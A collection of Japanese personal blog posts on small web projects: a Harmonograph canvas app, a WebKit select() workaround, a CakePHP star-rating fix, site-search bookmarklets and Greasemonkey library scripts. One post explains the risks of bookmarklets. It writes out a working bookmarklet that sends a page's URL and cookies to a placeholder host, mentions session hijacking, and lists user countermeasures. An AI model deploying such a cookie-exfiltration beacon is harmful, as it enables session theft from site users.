JavaScript

過去にも言及しているハーモノグラフ。振り子の組合せで、振動≒音の調和を視覚化する機械です。

本物をつくるのはちょっと大変なので、JavaScriptとcanvasを利用したWebアプケーションを作りました。

• 
  Harmonograph.js : Visualize Harmony
  http://penguinlab.jp/harmonograph/

各種パラメータを設定して「Draw」で描画開始。すきなところで一時停止もできて、専用のtumblrへの投稿やローカルへの保存もできます。パラメータはGETでも指定でき、同じ設定を開くパーマリンクも表示されます。

下図は描画例。

• 長三度(ドとミの音程)
  
• 完全15度(2オクターブ)
  
• 短10度(ドと1オクターブ上のミ♭)
  

インターフェイスに英語・日本語が入り交じってるのは、英語版つくる能力と気力はないけど、日本語わからん人でも適当に触れるようにするため。簡単な英語がわかる日本語ネイティブと、簡単な日本語がわかる日本語非ネイティブだったら、前者のが格段に多いもんね。

英語版WikipediaのHarmonographの項をみると、Web上でハーモノグラフを再現してるのはいくつかあるけど、描画過程が見られて、パラメータが自由に変更できて、保存もできる、というのはいまのとここれだけだと思います。

Firefox / Safari / Chrome / Opera の最新版で問題なく動くはずだけど、IEはcanvas要素サポートしてないので対象外。一応、ExplorerCanvasを入れてるので、描画はできるけど、tumblrへの投稿と、ローカルへの保存はできない(ExplorerCanvasがtoDataURLに対応していないため)。あとChromeもローカルへの保存はできない。

ちなみにWebアプリケーションといいつつ、コアはJavaScriptですので、tumblrへの投稿と投稿取得以外はオフラインでも動いたりします。それにしてもcanvas要素の表現力と描画速度はなかなかすごい。今後の可能性を感じさせます。

ところで、Chromeで動かすと他ブラウザとはくらべものにならないくらい速い。が、描画が荒く、線が途切れたりする。Firefoxが一番綺麗に書ける気がします。

あ、あと当初想定してなかったけど iPhone / iPod touch でも動きます(iPhone OS 3.0 の iPhone 3G で確認)。やるなあiPhone版Safari。

ハーモノグラフについては、Harmonograph.jsでも簡単に解説していますが、より詳しい情報は、アンソニー・アシュトン著「ハーモノグラフ 音がおりなす美の世界 (ピュタゴラスブックス) 」を参照してください。というか少なくとも日本語ではこれ以外の情報は相当少ないです。

過去、ハーモノグラフに言及した記事

• 音の紡ぎ出すカタチ – 情報と音楽
• ソフトウェア・ハーモノグラフ実現へ。 – 情報と音楽

あんまり技術系の記事ばっかり続けるのも気が引けるんだけど・・・。

ユーザーがコピーする内容をテキストエリア/テキストボックスで表示したとき、クリックしてフォーカスした際にテキストが全選択状態になると便利だ(特に内容が収まりきらない場合)。

Firefox / Opera / IE だと

onfocus="document.form_name.textarea_name.select()";

または

onfocus="this.select()";

で問題なく実現できるのだが、Safari / Chrome (ようはWebkit) だと、うまくいかない。

これで試してみてほしい。

挙動をよく見てみると、マウスのボタンを押す→全選択される→マウスのボタンを離す→選択が解除され、カーソル位置にキャレットが移動する、となる。

つまりこういうことになってるものと思われる。

• Firefox / IE / Opera
  →マウスのボタンが押され、離れた時点で、キャレット移動→onfocusイベント実行
• Safari / Chrome
  →マウスのボタンが押された時点でonfocusイベント、離れたらキャレット移動

じゃあ、どうすればいいかといえば、キャレット移動が終わってから選択するようにすればいい。

onfocus="setTimeout(function(){document.form_name.textarea_name.select()},0);"

setTimeoutを利用して、0ミリ秒後に選択している。

一応、これで Firefox / Opera / IE でも Chrome / Safari でも動く。Firefox だとフォーカスする→フォーカスはずす→もっかいフォーカスすると、なぜか選択が解除されちゃうけど、まあ、これくらいはいいかな。

(ブックマークレットの作成者が第3者か、ってのはおいといて。)

今回、別にセキュリティに詳しくないのに書いてるので、詳しい方のつっこみ歓迎。

ブックマークレットとは、あらかじめ保存(普通はブックマーク)しておいた、JavaScriptのコードを任意のWebページ上で実行することで、いろいろな処理を実現できる機能である。

大変便利な技術で、私も1日何度も使っているが、閲覧しているサイトの作成者が意図しないスクリプトを実行する以上、セキュリティリスクもある。

ここでは、ブックマークレットを実行することで、そのページのURLおよび、Cookieの内容を別のサーバに送信できるか試してみる。

データを送信する方法としては、実装が楽そうなWebビーコン方式とする。

javascript:(function(){ var e=document.createElement('img'); e.src='http://example.com/cookiemonster.ico?url='+encodeURIComponent(location.href)+'&cookie='+encodeURIComponent(document.cookie); var b=document.getElementsByTagName('body').item(0); b.appendChild(e); })();

こんなようなブックマークレットを作って(実験では自分のドメインの画像を読み込んだ)、任意のドメインのCookie使ってるサイトで実行してみたところ、当然ながら、そのサイトのURLとCookieの内容を含んだリクエストが送られた(Live HTTP Headersで確認。読み込まれた画像のURL見るだけでもいいけど)。

今回ためした時は、読み込む画像はたんなるPNGファイルなので、アクセスログを見ないと送信されたデータが得られず、めんどくさいが、もちろん実際にはファイルの中身はPHPなどのスクリプトでもよい。

そのスクリプトはリクエストを受けたら、なんらかの処理 – 取得したデータをデータベースに保存しとくとか、自動的にセッションハイジャックするとか – をして、縦横1pxの透明なPNGでも返しとけば気づかれにくい。

もちろん、これだけのコードだったら怪しいのはあきらかだが、これが、何百KBのコードに紛れて、しかもトラフィック節約のために圧縮されてたりしたら、気づくのは難しい(とはいえ、所詮コード全部見えてるんだし、自分の通信を監視すれば、おかしなことやってるのはすぐわかるので、足が付くのは時間の問題。メールのWebビーコンと違って大量にばらまくことはできないし)。

じゃ、ユーザーとしてどんな対策ができるかといえば、ブックマークレットの信頼性別に見ればこんなとこだろうか。

1. 外部のファイルを読み込んでいない+行っている処理が完全に理解できる+安全性が確認できたブックマークレット
   →安全性が確認できた範囲で使える。
2. 外部のファイルを読み込んでいない+行っている処理が理解できない部分があるブックマークレット
   →ブックマークレットの作成・配布者を完全に信用し、かつ信頼できる通信方法でブックマークレットを得た場合は、使えなくもない。おすすめまではしない。
3. 外部のファイルを読み込んでいるブックマークレット
   →配布者を完全に信用し、かつ信頼できる通信方法でブックマークレットを得ても、外部のファイルを読み込む時点で、ファイル自体や通信が改ざんされる可能性も否定できないので、危険はある。配布者が信用できない場合は論外。

あと、もちろん

• 他者に知られるとまずい情報が、表示されている・入力する・Cookieに保存されている・表示されてないけどHTMLとかに書いてあるページ、ドメインで上記1以外のブックマークレットを実行しない

というのは原則。

なお、Firefoxユーザーなら、RequestPolicyアドオンを入れてちゃんと運用してれば、別ドメインのファイルを勝手に読み込まないのでオススメ。

まあ、ブックマークレットよりGreasemonkeyスクリプト、ブラウザのプラグイン、スパイウェアなんかのほうがよっぽど数も多いし、危険性も高いけどね。

ちなみに、この記事を書くきっかけとなったのは、PrintWhatYouLikeというサービス。Webページを印刷するのにとても便利だが、ブックマークレットは外部のスクリプト読んでるので、怖いよなあと思って。WebインターフェイスからURL入力で使えば(あるいはそこんとこを自動化するブックマークレットを自分で作れば)、向こうに伝わるのは入力したURLだけなので安心。

今回の記事は、CakePHPで jQuery Star Rating Plugin を使いたい人にしか役に立たない情報です。ニッチです。

いまCakePHPでWebアプリケーションを作ってて(趣味です)、スターレイティングを導入しようと思い、いくらか調べて、「jQuery Star Rating Plugin」が良さそうという結論に達した。

で、さっそく実装して試してみてたら、inputのnamｅがサンプルのままの「star」だと問題なく動作するんだけど、CakePHPのdata[モデル名][カラム名]の形式のnameにすると、表示もPOSTもうまくいかない。

調べてみると、jquery.rating.js は、inputのnameをもとにクラスやなんかを作るんだけど、そのさいに[ ]をエスケープしてる。

//99行目 var n = (this.name || 'unnamed-rating').replace(/\[|\]/, "_");

まずこのエスケープがまずくて、最初の一個めしか置換してくれないので、直す。

//gオプションを追加 var n = (this.name || 'unnamed-rating').replace(/\[|\]/g, "_");

で、値をPOSTするためにhiddenのinputを作ってる。

//111行目 $.rating.groups[n].valueElem = $('<input type="hidden" name="' + n + '" value=""' + (settings.readOnly ? ' disabled="disabled"' : '') + '/>');

ここはエスケープしちゃうとCakePHPで$this->dataでアクセスできないので、エスケープする前の名前にする。

//さっきのnの宣言部からエスケープ前の名前をもってくる $.rating.groups[n].valueElem = $('<input type="hidden" name="' + (this.name || 'unnamed-rating') + '" value=""' + (settings.readOnly ? ' disabled="disabled"' : '') + '/>');

これでテストしたら、表示・挙動・POSTデータいづれも問題なさそうだった。コードを熟読してないので問題あるかもだけど。

・・・とまあ、ここまで書いといて気づいたんだけど、jQuery Star Rating Plugin ってGPL(と MIT License)なんですね。フリーだと思い込んでたよ。Webアプリケーションのソース公開はセキュリティ上問題ありそうだしなあ。同じようなの作るのめんどくさいなあ・・・。Creative Commons や MIT License なんかに比べるとGPLやLGPLって制限厳しいくせに線引きがあいまいすぎて、どうも好きになれない。

私は長らくGoogleツールバーを愛用してたのだが、画面のスペースの確保のため、なんとかGoogleツールバーを非表示にして、同じ機能を代替できないか調べてみた。

普通の検索はFirefoxの検索ボックスで十分として、カスタム検索もスマートキーワードで解決。検索後のハイライトはSeachWPで解決。残るはサイト検索のみとなった。

サイト検索は、表示中のドメイン内のページのみを対象にして検索するもので、サイトに検索機能がない場合、検索機能が貧弱な場合（Googleサイト検索に比べるといまいちなとこが多い）に非常に便利な機能。

ただ、普通のスマートキーワードによる検索と違って、表示中のURLを参照しないといかんので、ブックマークレットを使うことにした。

• Google サイト検索（ドメイン）
  ※このリンクをブックマークにドラッグ&ドロップ。あとは普通のスマートキーワードと同じように、右クリック→プロパティでキーワードを設定したら、ロケーションバー（アドレスバー）でさっき設定したキーワードに続けて半角スペース＋検索語で、サイト検索ができるはず。

コードの説明はめんどくさいので省略。javascriptわかる人なら、%sにスマートキーワード検索のキーワードが展開されることだけわかれば、楽勝でしょ。

で、せっかくなので、ドメインでなくカレントディレクトリ内で検索するバージョンも作った。ディレクトリでユーザを分けてるサイトで便利。

• Google サイト検索（カレントディレクトリ）

ちなみに私は前述のSearchWPと組み合わせたいので、alice0775さん作成の、検索ボックスでもスマーキーワードが使えるようにするスクリプトを導入した。userChrome.js（ここがわかりやすい）って存在も知らんかった。

あとはGoogleで検索したときの語が検索ボックスに反映されるといいんだけどなあ。また調べんと。

知らない店なんかに行くとき、私はネットで調べて地図を印刷して持って行きます。でも、あんまり降りたことない駅で降りると、どっちがどっちだかわからなくて、迷うことがよくあります。

当然、方位磁針（コンパス）を持ってりゃいいんですが、そんなもん常に持ち歩いてるはずもなく、毎回不便に思ってました。

で、携帯電話にそんな機能があればいいなと思ったわけで、どこかでききかじった、アナログ時計で方角を知る方法を応用してみようと思いつきまして。

はじめは携帯電話用アプリを作って、端末の時刻から計算しようと思ったものの、開発環境を整えるのがしんどくて断念。次にHTMLで作って、JavaScriptで時刻に応じて表示画像変えようと思ったものの、私の端末はJavaScript実行してくれないようで断念。

結局、ユーザが現在時刻を選ぶという、とってもスマートでないインタフェイスに落ち着きました。

開発終わってからまだ太陽が出てないので、未テストですが、よかったら携帯電話のブックマークに入れてみてください。

• 携帯電話用簡易方位磁針「SUNPASS」（ペンギンラボ内）

太陽で方角を知るのでSUN +COMPASS=SUNPASSという2分で考えた安直な名です。

Grease Monkey用スクリプト第3弾。

• webcat2milai.user.js

Webcat Plusの詳細表示から、MILAI（三重県図書館ネットワーク）の蔵書検索へ飛びます。ISBNの表示があるもののみ。

せっかくなんで、普通の所蔵情報表示のアイコンとかを流用さしてもらいました（笑）。

Webcat Plusは本探すのに便利だけど、所蔵情報があるのは（ほとんど）大学図書館だけで不便だったので作ってみました。

ヒットしなければ非表示にできたりするといいのですが、技術力と気力が足りません・・・。

なお、今回楽するためにPlatypusを使ったので、Firefox+Greasemonkey+Platypusが必要です。

aタグのリンク先を書き換えれば他の蔵書検索などにも応用できるはずなので、どうぞご自由に。

タイトルの通り。
AmazonからMILAI蔵書検索参照。
Googleツールバーでカスタム検索ボタンを作って、[管理]-[編集]-[詳細をエディタを使用]でURLを表示、編集して前回作ったスクリプトを書き換え、で作業完了。楽だわ。
mulib.user.js
Firefox + Greasemonkey必須。
でも、実際のOPAC画面はフレームなのでちょっと使いにくいかも。「戻る」ボタンがきかなくなる（2つ戻らないといけない）し。